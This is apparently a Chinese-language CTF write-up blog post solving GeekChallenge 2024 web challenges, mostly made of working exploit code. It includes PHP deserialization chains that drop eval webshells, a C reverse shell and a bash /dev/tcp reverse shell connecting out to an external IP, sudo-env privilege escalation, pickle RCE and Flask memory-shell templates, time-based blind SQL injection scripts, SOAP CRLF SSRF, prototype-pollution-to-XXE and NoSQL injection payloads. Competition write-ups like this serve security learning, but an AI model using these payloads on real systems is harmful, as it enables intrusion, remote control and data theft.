我是极客大挑战2024第二名队里的web手 关注我们队的逆向手谢谢喵 Error 的小破站
Web 100%的⚪ js代码搜atob能直接看到base64编码的flag
ezpop 题目源码:
<?php Class SYC{ public $starven ; public function __call ($name , $arguments ) { if (preg_match ('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i' ,$this ->starven)){ die ('no hack' ); } file_put_contents ($this ->starven,"<?php exit();" .$this ->starven); } } Class lover{ public $J1rry ; public $meimeng ; public function __destruct ( ) { if (isset ($this ->J1rry)&&file_get_contents ($this ->J1rry)=='Welcome GeekChallenge 2024' ){ echo "success" ; $this ->meimeng->source; } } public function __invoke ( ) { echo $this ->meimeng; } } Class Geek{ public $GSBP ; public function __get ($name ) { $Challenge = $this ->GSBP; return $Challenge (); } public function __toString ( ) { $this ->GSBP->Getflag (); return "Just do it" ; } } if ($_GET ['data' ]){ if (preg_match ("/meimeng/i" ,$_GET ['data' ])){ die ("no hack" ); } unserialize ($_GET ['data' ]); }else { highlight_file (__FILE__ ); }
题目确实出到不会的考点了,反复调用的问题开始无法解决,导致一直空着,解题思路是在做第二个pop链的GC回收时看到的绕过反复调用https://blog.csdn.net/Jayjay___/article/details/130647484?spm=1001.2014.3001.5502 绕过方法为多实例化一个对象 一般的pop链连接不讲了,最后需要绕过死亡exit命令。 屏蔽了二次编码和一些直接写马的可能,好在我们不用RCE,可以不用尖括号 写个.htaccess文件,利用 php_value auto_prepend_file "/flag" 直接回显出flag exp如下:
<?php Class SYC{ public $starven ; public function __call ($name , $arguments ) { if (preg_match ('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i' ,$this ->starven)){ die ('no hack' ); } file_put_contents ($this ->starven,"<?php exit();" .$this ->starven); } } Class lover{ public $J1rry ; public $meimeng ; public function __destruct ( ) { if (isset ($this ->J1rry)&&file_get_contents ($this ->J1rry)=='Welcome GeekChallenge 2024' ){ echo "success" ; $this ->meimeng->source; } } public function __invoke ( ) { echo $this ->meimeng; } } Class Geek{ public $GSBP ; public function __get ($name ) { $Challenge = $this ->GSBP; return $Challenge (); } public function __toString ( ) { $this ->GSBP->Getflag (); return "Just do it" ; } } $S =new SYC ();$l1 =new lover ();$l2 =new lover ();$G1 =new Geek ();$G2 = new Geek ();$l1 ->J1rry="data://text/plain,Welcome GeekChallenge 2024" ;$l1 ->meimeng = $G1 ;$G1 ->GSBP = $l2 ;$l2 ->meimeng = $G2 ;$G2 ->GSBP = $S ;$S ->starven='php://filter/string.strip_tags/?>php_value auto_prepend_file "/flag"<?/resource=.htaccess' ;$exp =serialize ($l1 );$exp =str_replace ('s:7:"meimeng"' , 'S:7:"m\65imeng"' , $exp );echo urlencode ($exp );
not_just_pop 题目源码:
<?php highlight_file (__FILE__ );ini_get ('open_basedir' );class lhRaMK7 { public $Do ; public $You ; public $love ; public $web ; public function __invoke ( ) { echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?" ."<br>" ; eval ($this ->web); } public function __wakeup ( ) { $this ->web=$this ->love; } public function __destruct ( ) { die ($this ->You->execurise=$this ->Do); } } class Parar { private $execurise ; public $lead ; public $hansome ; public function __set ($name ,$value ) { echo $this ->lead; } public function __get ($args ) { if (is_readable ("/flag" )){ echo file_get_contents ("/flag" ); } else { echo "还想直接读flag,洗洗睡吧,rce去" ."<br>" ; if ($this ->execurise=="man!" ) { echo "居然没坠机" ."<br>" ; if (isset ($this ->hansome->lover)){ phpinfo (); } } else { echo ($this ->execurise); echo "你也想被肘吗" ."<br>" ; } } } } class Starven { public $girl ; public $friend ; public function __toString ( ) { return "试试所想的呗,说不定成功了" ."<br>" .$this ->girl->abc; } public function __call ($args1 ,$args2 ) { $func =$this ->friend; $func (); } } class SYC { private $lover ; public $forever ; public function __isset ($args ) { return $this ->forever->nononon (); } } $Syclover =$_GET ['Syclover' ];if (isset ($Syclover )) { unserialize (base64_decode ($Syclover )); throw new Exception ("None" ); }else { echo ("怎么不给我呢,是不喜欢吗?" ); }
throw new Exception是明显的GC回收标志。除了这个就是锻炼serialize基本功的时间了https://blog.csdn.net/Jayjay___/article/details/130647484 GC回收的利用方法: 假设先前你要序列化a对象,改为serialize($a, null),并把最后的i:1对象破坏,变成i:0, 这样就可以绕过throw new Exception。 因为PHP7.3后对private和protect不敏感,所以直接用public就可以 exp:
<?php ini_get ('open_basedir' );class lhRaMK7 { public $Do ; public $You ; public $love ='file_put_contents("shell.php","<?=eval(\$_POST[\'cmd\']);?>");' ; public $web ='file_put_contents("shell.php","<?=eval(\$_POST[\'cmd\']);?>");' ; public function __invoke ( ) { echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?" ."<br>" ; eval ($this ->web); } public function __wakeup ( ) { $this ->web=$this ->love; } public function __destruct ( ) { die ($this ->You->execurise=$this ->Do); } } class Parar { public $execurise ; public $lead ; public $hansome ; public function __construct ( ) { $this ->execurise="man!" ; } public function __set ($name ,$value ) { echo $this ->lead; } public function __get ($args ) { if (is_readable ("/flag" )){ echo file_get_contents ("/flag" ); } else { echo "还想直接读flag,洗洗睡吧,rce去" ."<br>" ; if ($this ->execurise=="man!" ) { echo "居然没坠机" ."<br>" ; if (isset ($this ->hansome->lover)){ phpinfo (); } } else { echo ($this ->execurise); echo "你也想被肘吗" ."<br>" ; } } } } class Starven { public $girl ; public $friend ; public function __toString ( ) { return "试试所想的呗,说不定成功了" ."<br>" .$this ->girl->abc; } public function __call ($args1 ,$args2 ) { $func =$this ->friend; $func (); } } class SYC { public $lover ; public $forever ; public function __isset ($args ) { return $this ->forever->nononon (); } } $n = null ;$l1 = new lhRaMK7 ();$l2 = new lhRaMK7 ();$P1 = new Parar ();$P2 = new Parar ();$S1 = new Starven ();$S2 = new Starven ();$SYC = new SYC ();$l1 ->You = $P1 ; $P1 ->lead = $S1 ; $S1 ->girl = $P2 ; $P2 ->hansome = $SYC ; $SYC ->forever = $S2 ; $S2 ->friend = $l2 ; $Syclover =serialize (array ($l1 ,$n ));$Syclover = str_replace ("i:1;N;}" , "i:0;N;}" , $Syclover );echo $Syclover ."\n" ;echo base64_encode ($Syclover );
蚁剑连上shell发现ret 127,说明存在disable_functions 在蚁剑市场下载php_disable_functions绕过插件 利用其中的PHP7_UserFilter绕过 发现/flag需要root权限,尝试SUID提权
find / -user root -perm -4000 -print 2>/dev/null
没找到有用的
sudo -l
env 可以直接获取root权限 https://gtfobins.github.io/#env
sudo env /bin/sh
蚁剑的shell不大行,切到自己的vps上提权 先写个反弹shell https://www.revshells.com/ exp.c
#include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> int main (void ) { int port = 1234 ; struct sockaddr_in revsockaddr ; int sockt = socket(AF_INET, SOCK_STREAM, 0 ); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("8.155.17.250" ); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof (revsockaddr)); dup2(sockt, 0 ); dup2(sockt, 1 ); dup2(sockt, 2 ); char * const argv[] = {"bash" , NULL }; execvp("bash" , argv); return 0 ; }
拿到flag
Can_you_Pass_Me 我又来推销fenjing了:https://github.com/Marven11/Fenjing fenjing分析确实有ssti漏洞,但是好像不能直接出的样子 那就反弹shell
bash -c "bash -i >& /dev/tcp/8.155.17.250/1234 0>&1"
Problem_On_My_Web 一看是经典留言榜,试一试XSS漏洞
<script>alert(1)</script>
确实有漏洞,但是document.cookie不能直接读 根据manager路由的提示,考虑通过manager路由带出cookie 先写个
<script>alert(document.cookie)</script>
到留言榜,然后在/manager传参url=http://127.0.0.1/ 带出flag
ez_http burp传参如下:https://jwt.io/ 在这上面把hasFlag的false改为true,key为Starven_secret_key cookie传参改过的jwt回去拿到flag
baby_upload 能传.htaccess进去?
AddType application/x-httpd-php .jpg
不能传.htaccess,但还有个文件叫.user.ini
auto_prepend_file=a.jpg
把a.jpg写上我们的webshell就行了。 这也不行??? 结果发现a.jpg.php没被过滤。。。 (并不)轻松RCE,flag也不用提权读取
ez_include index.php
<?php highlight_file (__FILE__ );require_once 'starven_secret.php' ;if (isset ($_GET ['file' ])) { if (preg_match ('/starven_secret.php/i' , $_GET ['file' ])) { require_once $_GET ['file' ]; }else { echo "还想非预期?" ; } }
可以看我的PHP特性集合哦(https://blog.hatchet.top/posts/44659fec ) 轮流循环绕过
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/starven_secret.php
给了/levelllll2.php levelllll2.php
<?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ["syc" ])){ $file = $_GET ["syc" ]; $hint = "register_argc_argv = On" ; if (preg_match ("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i" , $file )) { die ("hint都给的这么明显了还不会做?" ); } if (substr ($_SERVER ['REQUEST_URI' ], -4 ) === '.php' ){ include $file ; } }
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html 博客中的 pearcmd.php的巧妙利用 可以用于解决这题。 仿照博客的poc构造出payload
PHP不比Java差 <?php highlight_file (__FILE__ );error_reporting (0 );include "secret.php" ;class Challenge { public $file ; public function Sink ( ) { echo "<br>!!!A GREAT STEP!!!<br>" ; echo "Is there any file?<br>" ; if (file_exists ($this ->file)){ global $FLAG ; echo $FLAG ; } } } class Geek { public $a ; public $b ; public function __unserialize (array $data ): void { $change =$_GET ["change" ]; $FUNC =$change ($data ); $FUNC (); } } class Syclover { public $Where ; public $IS ; public $Starven ; public $Girlfriend ; public function __toString ( ) { echo "__toString is called<br>" ; $eee =new $this ->Where ($this ->IS); $fff =$this ->Starven; $eee ->$fff ($this ->Girlfriend); } } unserialize ($_POST ['data' ]);
又是php反序列化? 反转了,我就喜欢做https://blog.csdn.net/qq_35533398/article/details/108492823
<?php function title ($title , $name ) { return sprintf ("%s. %s\r\n" , $title , $name ); } $function = new ReflectionFunction ('title' );echo $function ->invokeArgs (array ('Dr' , 'Phil' ));?>
这里面提到ReflectionFunction里的invokeArgs可以用于执行函数。 在本地测试下发现也可以执行系统函数system,且没有被题目过滤。
<?php $function = new ReflectionFunction ('system' ); $function ->invoke ("whoami" );
__unserialize()方法在PHP版本大于7.4才被引入。重点方法在于$change该取什么值。 问gpt问出来了reset和array_pop,分别取数组的首和尾。 让Sink()被调用,就会引用__toString()方法。然后链子就呼之欲出了
<?php class Challenge { public $file ; public function Sink ( ) { echo "<br>!!!A GREAT STEP!!!<br>" ; echo "Is there any file?<br>" ; if (file_exists ($this ->file)) { global $FLAG ; echo $FLAG ; } } } class Geek { public $a ; public $b ; public function __unserialize (array $data ): void { echo "__unserialize is called<br>" ; $change = "array_pop" ; $FUNC = $change ($data ); $FUNC (); } } class Syclover { public $Where ; public $IS ; public $Starven ; public $Girlfriend ; public function __toString ( ) { echo "__toString is called<br>" ; $eee = new $this ->Where ($this ->IS); $fff = $this ->Starven; $eee ->$fff ($this ->Girlfriend); } } $G = new Geek ;$S = new Syclover ;$C = new Challenge ;$G ->a = $S ;$G ->b = [$C ,"Sink" ];$C ->file = $S ;$S ->Where = "ReflectionFunction" ;$S ->IS = "system" ;$S ->Starven = "invoke" ;$S ->Girlfriend = 'echo \'<?php @eval($_POST[cmd]); ?>\' > shell.php' ;$payload =serialize ($G );echo $payload ;unserialize ($payload );
连上后发现还要SUID提权
find / -user root -perm -4000 -print 2>/dev/null
这次扫出了file 直接file -f /flag P. S: 做完后发现change取implode能直接叫出toString 链子直接变成一段 甚至能不用Challenge类的吗,惊了。
SecretInDrivingSchool 审计HTTP发现有注释 L000G1n.php 登录还有提示,出题人好温油 账号为4-16位数字或者英文字母 密码格式为三位字母+@chengxing 用admin: SYC@chengxing 登录成功,转到adChange.php 考虑。。注一下? 在广告代码最后写
<?= `cat /flag` ?>
然后就能在首页看到flag啦~
rce_me <?php header ("Content-type:text/html;charset=utf-8" );highlight_file (__FILE__ );error_reporting (0 );if (!is_array ($_POST ["start" ])) { if (!preg_match ("/start.*now/is" , $_POST ["start" ])) { if (strpos ($_POST ["start" ], "start now" ) === false ) { die ("Well, you haven't started.<br>" ); } } } echo "Welcome to GeekChallenge2024!<br>" ;if ( sha1 ((string ) $_POST ["__2024.geekchallenge.ctf" ]) == md5 ("Geekchallenge2024_bmKtL" ) && (string ) $_POST ["__2024.geekchallenge.ctf" ] != "Geekchallenge2024_bmKtL" && is_numeric (intval ($_POST ["__2024.geekchallenge.ctf" ])) ) { echo "You took the first step!<br>" ; foreach ($_GET as $key => $value ) { $$key = $value ; } if (intval ($year ) < 2024 && intval ($year + 1 ) > 2025 ) { echo "Well, I know the year is 2024<br>" ; if (preg_match ("/.+?rce/ism" , $purpose )) { die ("nonono" ); } if (stripos ($purpose , "rce" ) === false ) { die ("nonononono" ); } echo "Get the flag now!<br>" ; eval ($GLOBALS ['code' ]); } else { echo "It is not enough to stop you!<br>" ; } } else { echo "It is so easy, do you know sha1 and md5?<br>" ; } ?> Well, you haven't started.
特性都很一般般,不详细讲了 大小写绕过,php7转化参数错误 我收藏的哈希函数绕过:https://blog.hatchet.top/posts/66a71aff 对转换参数有疑问可以搭个php 自己 echo $_GET; 甚至还用了去年的题目。。。
ez_python 这题我在moectf2024写的pet_store的payload竟然能直接用上。。。 出题人过滤了bash不能反弹shell,又无回显怎么办? 我用的时间盲注
import pickleimport base64import requestsimport stringimport timealphabet = string.ascii_letters + string.digits + "{}-_" target_url = "http://5000-97f7a701-0ac8-4d83-a520-41a98ed6f1bd.challenge.ctfplus.cn/login" max_flag_length = 50 def generate_payload (prefix ): """ 根据当前猜测的前缀生成 payload。 """ payload_code = f""" import os;import time; result=os.popen('cat /flag').read(); if result.startswith("{prefix} "): time.sleep(1) else: time.sleep(0.1) """ class Pet : def __reduce__ (self ): return (exec , (payload_code,)) return base64.b64encode(pickle.dumps(Pet())).decode() def send_payload (payload ): """ 发送 payload 并测量响应时间。 """ cookies = { "heart" : "a4a4c3ff70994e5ab8b7222ab9ab30289ff438e3557d8bf54357d20195459fd6" } data = {"statement" : payload} start_time = time.time() response = requests.post(target_url, data=data, cookies=cookies) print (response.text) end_time = time.time() return end_time - start_time def guess_flag (): """ 猜测 $FLAG 的值。 """ guessed_flag = "" for i in range (max_flag_length): for char in alphabet: current_guess = guessed_flag + char print (f"Testing: {current_guess} " ) payload = generate_payload(current_guess) time.sleep(0.1 ) response_time = send_payload(payload) if response_time > 0.8 : guessed_flag += char print (f"Found character: {char} " ) break else : print (f"FLAG guessed: {guessed_flag} " ) return guessed_flag if __name__ == "__main__" : flag = guess_flag() print (f"Final FLAG: {flag} " )
写内存马也可以 内存马板子
import pickleimport base64class Pet : def __reduce__ (self ): cmd_injection = "__import__('os').popen(request.args.get('cmd')).read()" return eval , ( "__import__('sys').modules['__main__'].__dict__['app']" ".before_request_funcs.setdefault(None, []).append(lambda :" + cmd_injection + ")" , ) a = Pet() b = pickle.dumps(a) print (base64.b64encode(b).decode())
因为用一次就会爆500,所以用python读取。
import requestscookies = {"heart" : "a4a4c3ff70994e5ab8b7222ab9ab30289ff438e3557d8bf54357d20195459fd6" } payload = "gASVwgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIymX19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSA6X19pbXBvcnRfXygnb3MnKS5wb3BlbihyZXF1ZXN0LmFyZ3MuZ2V0KCdjbWQnKSkucmVhZCgpKZSFlFKULg==" data = {"statement" : payload} url = "http://5000-61f7d735-0939-4825-97fd-785ea19574d4.challenge.ctfplus.cn/" sess = requests.session() r = sess.post(url=url + "login" , cookies=cookies, data=data) print (r.text)r = sess.get( url=url + "cmd?cmd=cat /flag" , cookies=cookies, ) print (r.text)
funnySQL(复现) 黑名单:
if (preg_match ('/and|or| |\n|--|sleep|=|ascii/i' ,$str )){ die ('不准用!' ); }
无回显,想到了时间盲注,sleep没了用benchmark。参考官方WP,这题不需要无列名,只有一列。
import requestsimport timefrom urllib.parse import quote, unquoteurl = "http://80-da8c321e-f040-42c1-8bef-b4b844370336.challenge.ctfplus.cn/?username=" flag = "" chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&'()*+,-./:;<=>?@[\]^`{|}~" timeout_threshold = 3 payload0 = "'||if(substr((select version()),{},1)=binary '{}',benchmark(1000000,md5(1)),0)#" payload1 = "'||if(substr((select group_concat(database())),{},1)=binary '{}',benchmark(1000000,md5(1)),0)#" payload2 = "'||if((substr((select table_name from mysql.innodb_table_stats where database_name='syclover' limit 0,1),{},1)=binary '{}'),benchmark(10000000,sha1(1)),0)#" payload3 = "'||if(substr((select * from Rea11ys3ccccccr3333t),{},1)=binary '{}',benchmark(10000000,sha1(1)),0)#" for i in range (1 , 100 ): found = False for j in chars: payload = payload3.format (i, j).replace("=" , " like " ).replace(" " , "\x09" ) full_url = url + quote(payload) print (full_url) start_time = time.time() try : r = requests.get(url=full_url) except requests.RequestException as e: print (f"请求失败: {e} " ) continue if "不准用" in r.text: print ("请求被阻止,退出。" ) exit(-1 ) response_time = time.time() - start_time print (f"正在测试字符: {j} , 响应时间: {response_time:.2 f} 秒" ) if response_time >= timeout_threshold: flag += j print (f"找到字符: {j} , 当前 flag: {flag} " ) found = True break if not found: print ("没有更多字符,退出。" ) break print (f"最终 flag: {flag} " )
实测benchmark(1000000,md5(1))在payload0和payload1是能跑出结果,但在payload2就不行,而benchmark(10000000,sha1(1))就能跑所有的payload,吐了啊。。。
ezSSRF(复现) www.zip 存在源码泄露 h4d333333.php
<?php error_reporting (0 );if (!isset ($_POST ['user' ])){ $user ="stranger" ; }else { $user =$_POST ['user' ]; } if (isset ($_GET ['location' ])) { $location =$_GET ['location' ]; $client =new SoapClient (null ,array ( "location" =>$location , "uri" =>"hahaha" , "login" =>"guest" , "password" =>"gueeeeest!!!!" , "user_agent" =>$user ."'s Chrome" )); $client ->calculator (); echo file_get_contents ("result" ); }else { echo "Please give me a location" ; }
calculator.php
<?php $admin ="aaaaaaaaaaaadmin" ;$adminpass ="i_want_to_getI00_inMyT3st" ;function check ($auth ) { global $admin ,$adminpass ; $auth = str_replace ('Basic ' , '' , $auth ); $auth = base64_decode ($auth ); list ($username , $password ) = explode (':' , $auth ); echo $username ."<br>" .$password ; if ($username ===$admin && $password ===$adminpass ) { return 1 ; }else { return 2 ; } } if ($_SERVER ['REMOTE_ADDR' ]!=="127.0.0.1" ){ exit ("Hacker" ); } $expression = $_POST ['expression' ];$auth =$_SERVER ['HTTP_AUTHORIZATION' ];if (isset ($auth )){ if (check ($auth )===2 ) { if (!preg_match ('/^[0-9+\-*\/]+$/' , $expression )) { die ("Invalid expression" ); }else { $result =eval ("return $expression ;" ); file_put_contents ("result" ,$result ); } }else { $result =eval ("return $expression ;" ); file_put_contents ("result" ,$result ); } }else { exit ("Hacker" ); }
没想到被h4d333333.php中的echo file_get_contents(“result”);误导了,以为传ssrf会有回显,结果传完啥都没有就没尝试了。 其实直接读result文件就可以,echo file_get_contents当不存在就好 原理是soap传递时,UA如果可控。就可以伪造HTTP包进行SSRF和CRLF攻击。 自己写的soap UA伪造
<?php $location = "http://127.0.0.1/calculator.php" ;$data = "expression=system('cat /flag')" ;$headers = array ( "Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0" , ); $user_agent = "hatchet\r\n\r\n\r\n\r\n\r\nPOST /calculator.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . (string ) strlen ($data ) . "\r\n" . join ("\r\n" , $headers ) . "\r\n\r\n" . $data ; echo urlencode ($user_agent );
真简单啊
py_game(复现) 用flask-unsign可以预先跑一遍字典爆破secret_key(可以排除一些弱口令)
个人爆破jwt脚本
import jwttoken = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4" password_file = "./crypto/wordlist.txt" with open (password_file, "rb" ) as file: for line in file: line = line.strip() try : jwt.decode( token, verify=True , key=line, algorithms="HS256" ) print ("key: " , line.decode("ascii" )) break except ( jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError, ): print ("key: " , line.decode("ascii" )) break except jwt.exceptions.InvalidSignatureError: print ("Failed: " , line.decode("ascii" )) continue else : print ("Not Found." )
flask-unsign使用
decode
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' --secret 'CHANGEME'
爆破密钥
flask-unsign --unsign --cookie 'eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiMSJ9.Z0QnHQ.r92N4qr203gikX6xYAsl3DCtowM'
encode
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
使用flask-unsign
flask-unsign --unsign --cookie 'eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiMSJ9.Z0QnHQ.r92N4qr203gikX6xYAsl3DCtowM'
跑出密钥值为a123456。伪造cookie为admin
flask-unsign --sign --cookie "{'_flashes': [('success', '登录成功')], 'username': 'admin'}" --secret 'a123456'
admin页面有源码下载,反编译为 app.py
import jsonfrom lxml import etreefrom flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonifyapp = Flask(__name__) app.secret_key = 'a123456' app.config['xml_data' ] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>' class User : def __init__ (self, username, password ): self .username = username self .password = password def check (self, data ): if self .username == data['username' ]: pass return self .password == data['password' ] admin = User('admin' , '123456j1rrynonono' ) Users = [ admin] def update (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and isinstance (v, dict ): update(v, dst.get(k)) else : dst[k] = v if hasattr (dst, k) and isinstance (v, dict ): update(v, getattr (dst, k)) continue setattr (dst, k, v) def register (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] for u in Users: if u.username == username: flash('用户名已存在' , 'error' ) return redirect(url_for('register' )) new_user = User(username, password) Users.append(new_user) flash('注册成功!请登录' , 'success' ) return redirect(url_for('login' )) return None ('register.html' ) register = app.route('/register' , [ 'GET' , 'POST' ], **('methods' ,))(register) def login (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] for u in Users: if u.check({ 'username' : username, 'password' : password }): session['username' ] = username flash('登录成功' , 'success' ) return redirect(url_for('dashboard' )) flash('用户名或密码错误' , 'error' ) return redirect(url_for('login' )) return None ('login.html' ) login = app.route('/login' , [ 'GET' , 'POST' ], **('methods' ,))(login) def play (): if 'username' in session: with open ('/app/templates/play.html' , 'r' , 'utf-8' , **('encoding' ,)) as file: play_html = file.read() return play_html None ('请先登录' , 'error' ) return redirect(url_for('login' )) play = app.route('/play' , [ 'GET' , 'POST' ], **('methods' ,))(play) def admin (): if 'username' in session and session['username' ] == 'admin' : return render_template('admin.html' , session['username' ], **('username' ,)) None ('你没有权限访问' , 'error' ) return redirect(url_for('login' )) admin = app.route('/admin' , [ 'GET' , 'POST' ], **('methods' ,))(admin) def downloads321 (): return send_file('./source/app.pyc' , True , **('as_attachment' ,)) downloads321 = app.route('/downloads321' )(downloads321) def index (): return render_template('index.html' ) index = app.route('/' )(index) def dashboard (): if 'username' in session: is_admin = session['username' ] == 'admin' if is_admin: user_tag = 'Admin User' else : user_tag = 'Normal User' return render_template('dashboard.html' , session['username' ], user_tag, is_admin, **('username' , 'tag' , 'is_admin' )) None ('请先登录' , 'error' ) return redirect(url_for('login' )) dashboard = app.route('/dashboard' )(dashboard) def xml_parse (): try : xml_bytes = app.config['xml_data' ].encode('utf-8' ) parser = etree.XMLParser(True , True , **('load_dtd' , 'resolve_entities' )) tree = etree.fromstring(xml_bytes, parser, **('parser' ,)) result_xml = etree.tostring(tree, True , 'utf-8' , True , **('pretty_print' , 'encoding' , 'xml_declaration' )) return Response(result_xml, 'application/xml' , **('mimetype' ,)) except etree.XMLSyntaxError: e = None try : return str (e) e = None del e return None xml_parse = app.route('/xml_parse' )(xml_parse) black_list = [ '__class__' .encode(), '__init__' .encode(), '__globals__' .encode()] def check (data ): print (data) for i in black_list: print (i) if i in data: print (i) return False return True def update_route (): if 'username' in session and session['username' ] == 'admin' : if request.data: try : if not check(request.data): return ('NONONO, Bad Hacker' , 403 ) data = None .loads(request.data.decode()) print (data) if all ((lambda .0 : pass )(data.values())): update(data, User) return (jsonify({ 'message' : '更新成功' }), 200 ) return None except Exception: e = None try : return (f'''Exception: {str (e)} ''' , 500 ) e = None del e return ('No data provided' , 400 ) return redirect(url_for('login' )) return None update_route = app.route('/update' , [ 'POST' ], **('methods' ,))(update_route) if __name__ == '__main__' : app.run('0.0.0.0' , 80 , False , **('host' , 'port' , 'debug' ))
存在xml_parse路由,和update函数。很明显我们要打原型链污染xml_data从而进行xxe。 黑名单采用unicode编码绕过 POC:
{
"__init__":{
"__globals__":{
"app":{
"config":{
"xml_data":"
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY admin SYSTEM "/flag" >]>
<user>
<username>&admin;</username>
<password>123456</password>
</user>
"
}
}
}
}
}
用cyberchef的unicode escape编码 payload:
{
"_\u005Finit__":{
"_\u005Fglobals__":{
"app":{
"config":{
"xml_data":"\u003C\u003F\u0078\u006D\u006C\u0020\u0076\u0065\u0072\u0073\u0069\u006F\u006E\u003D\u0022\u0031\u002E\u0030\u0022\u0020\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067\u003D\u0022\u0075\u0074\u0066\u002D\u0038\u0022\u003F\u003E\u000A\u003C\u0021\u0044\u004F\u0043\u0054\u0059\u0050\u0045\u0020\u0078\u0078\u0065\u0020\u005B\u000A\u003C\u0021\u0045\u004C\u0045\u004D\u0045\u004E\u0054\u0020\u006E\u0061\u006D\u0065\u0020\u0041\u004E\u0059\u0020\u003E\u000A\u003C\u0021\u0045\u004E\u0054\u0049\u0054\u0059\u0020\u0061\u0064\u006D\u0069\u006E\u0020\u0053\u0059\u0053\u0054\u0045\u004D\u0020\u0022\u002F\u0066\u006C\u0061\u0067\u0022\u0020\u003E\u005D\u003E\u000A\u003C\u0075\u0073\u0065\u0072\u003E\u000A\u003C\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u003E\u0026\u0061\u0064\u006D\u0069\u006E\u003B\u003C\u002F\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u003E\u000A\u003C\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u003E\u0031\u0032\u0033\u0034\u0035\u0036\u003C\u002F\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u003E\u000A\u003C\u002F\u0075\u0073\u0065\u0072\u003E"
}
}
}
}
}
在update路由传参,并在xml_parse收到flag
noSandbox(复现) SQL采用了MongoDBhttps://xz.aliyun.com/t/9908 用Nosql的永真式注入绕过登录
{"username":{"$ne":1},"password": {"$ne":1}}
接下来给了execute路由执行js代码 考点是VM逃逸https://xz.aliyun.com/t/11859 分析获得的app_part.js
const vm = require ('vm' );function waf (code,res ) { let pattern = /(find|ownKeys|fromCharCode|includes|\'|\"|replace|fork|reverse|fs|process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function|env)/m ; if (code.match (pattern)) { console .log ('WAF detected malicious code' ); res.status (403 ).send ('WAF detected malicious code' ); exit (); } } app.post ('/execute' , upload.none (), (req, res ) => { let code = req.body .code ; const token = req.cookies .token ; if (!token) { return res.status (403 ).send ('Missing execution code credentials.' ); } if (!jwt.verify (token, JWT_SECRET )) { return res.status (403 ).send ('Invalid token provided.' ); } console .log (`Received code for execution: ${code} ` ); try { waf (code,res); let sandbox = Object .create (null ); let context = vm.createContext (sandbox); let script = new vm.Script (code); console .log ('Executing code in sandbox context' ); script.runInContext (context); console .log (`Code executed successfully. Result: ${sandbox.result || 'No result returned.' } ` ); res.json ('Code executed successfully' ); } catch (err) { console .error (`Error executing code: ${err.message} ` ); res.status (400 ).send (`Error: there's no display back here,may be it executed successfully?` ); } });
使用`${}`绕过黑名单,利用官方题解总结
process `${`${`proce`}ss`}`
prototype `${`${`prototyp`}e`}`
get_process `${`${`get_pro`}cess`}`
require `${`${`requir`}e`}`
execSync `${`${`exe`}cSync`}`
return process `${`${`return proc`}ess`}`
